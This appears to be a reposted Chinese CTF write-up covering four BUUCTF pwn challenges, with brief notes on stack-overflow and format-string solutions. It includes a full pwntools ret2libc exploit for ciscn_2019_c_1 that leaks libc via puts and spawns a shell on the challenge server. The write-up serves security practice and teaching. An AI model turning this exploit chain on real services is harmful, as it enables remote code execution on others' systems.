PWN-PRACTICE-BUUCTF-2
生活随笔
收集整理的這篇文章主要介紹了
PWN-PRACTICE-BUUCTF-2
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
PWN-PRACTICE-BUUCTF-2
- pwn1_sctf_2016
- jarvisoj_level0
- ciscn_2019_c_1
- [第五空間2019 決賽]PWN5
pwn1_sctf_2016
main函數中執行vuln函數
fgets限制了輸入的長度,不足以構成棧溢出
通過將輸入中的字符"I"替換成"you",增加長度,使滿足棧溢出
同時可執行文件存在后門函數get_flag
構造payload,覆蓋eip到get_flag即可得到flag
jarvisoj_level0
簡單的棧溢出,留有后門函數callsystem
構造payload,覆蓋rip到callsystem,為了滿足系統調用需要的16字節對齊,在系統調用前加一條ret
ciscn_2019_c_1
棧溢出ret2libc,encrypt函數里的異或運算不用管的
from pwn import * context.log_level="debug" io=remote('node4.buuoj.cn',28108) elf=ELF("./ciscn_2019_c_1") libc=ELF("./libc-2.27-18-x64.so") io.recvuntil("Input your choice!\n") io.sendline("1") io.recvuntil("Input your Plaintext to be encrypted\n") pop_rdi_ret=0x0000000000400c83 puts_got=elf.got["puts"] puts_plt=elf.plt["puts"] encrypt=0x00000000004009A0 ret=0x00000000004006b9 payload="a"*(48+2+30+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(encrypt) io.sendline(payload) io.recvuntil("Ciphertext\n") io.recvuntil("\n") puts_addr=u64(io.recvuntil("\n",drop=True).ljust(8,"\x00")) print(hex(puts_addr)) libc_base=puts_addr-libc.sym["puts"] system=libc_base+libc.sym["system"] binsh=libc_base+libc.search("/bin/sh").next() payload_2="a"*(48+2+30+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(encrypt) io.recvuntil("Input your Plaintext to be encrypted\n") io.sendline(payload_2) io.sendline("cat flag") io.interactive()[第五空間2019 決賽]PWN5
格式化字符串的洞,覆寫dword_804C044處的值,再輸入相同的值即可驗證成功
測試知道偏移為10,利用pwntools集成的fmtstr_payload來構造payload
或者自己構造payload,因為要覆寫的值不必固定,所以構造方式有很多
總結
以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-2的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 每月存1000元,按照一个方法存,16年
- 下一篇: 利用官方支持为基于GitHub Page